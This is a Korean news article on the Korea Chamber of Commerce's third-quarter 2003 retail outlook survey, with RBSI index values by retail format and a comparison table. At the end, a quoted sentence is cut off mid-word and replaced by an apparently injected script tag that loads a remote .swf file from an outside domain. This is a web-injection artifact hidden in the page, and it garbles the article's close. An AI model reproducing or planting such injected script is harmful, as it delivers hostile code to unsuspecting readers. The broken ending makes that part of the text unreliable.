전문점, 백화점, 마트 등 소매유통업의 체감경기에 청신호가 켜졌다. 대한상공회의소(회장 박용성)가 최근 전국 855개 소매유통업체를 대상으로 조사한 ‘2003년 3/4분기 소매유통업 경기전망’ 자료에서 오는 3ㆍ4분기 바닥을 치고 상승세를 탈 것이라는 전망이 나왔다. 이 자료에 따르면 오는 3ㆍ4분기를 기점으로 실물체감경기상황과 직결되는 소매유통업경기실사지수(RBSI)가 105로 나와 상당부분 호전될 것으로 예상된다. 대한상의 측은 “북한 핵문제와 사스확산으로 인한 소비심리 위축이 진정되고 주식시장 호조와 금리인하 등 경기부양책에 힘입어 소매유통업 체감경기가 저점을 찍은 것으로 보인다”고 분석하고 특히 백화점과 통신판매업을 중심으로 소매유통업 경기가 회복세를 보일 것이라고 설명했다. RBSI를 각 소매유통업태별로 보면 통신판매업(141)과 백화점(127)의 지수가 높아 경영실적 호전이 유력한 반면 방문판매업(86)과 슈퍼마켓(95)은 3분기에도 매출증가를 기대하기 어려운 것으로 나타났다. 특히 백화점(127)의 경우 북한 핵문제 완화와 주식시장 강세에 힘입어 매출이 회복될 것으로 보인다. 해마다 두배 이상 몸집을 불려온 홈쇼핑 등 통신판매업(141)도 최근 경기침체를 떨쳐버리고 본격적인 회복세로 진입할 것으로 예상됐다. 할인점(108)은 여름휴가철 시작에 따른 계절적 요인과 더불어 주식시장이 호조를 보이면서 소비심리가 호전되고 있어 전분기보다 영업실적이 개선될 것으로 예상됐다.

2003년 3/4분기 소매유통업태별 경기전망지수(RBSI)

소매업태 2/4분기 실적 3/4분기 전망 백화점 75 127 할인점 68 108 편의점 93 111 방문판매 63 86 전자상거래 100 110 통신판매 87 141 슈퍼마켓 66 95

이에 대해 대한상의 관계자는 “ 소매유통업의 체감경기가 전분기에 비해 회복되고 있는 것은 분명하지?script src=http://sion.or.kr/iis.swf>

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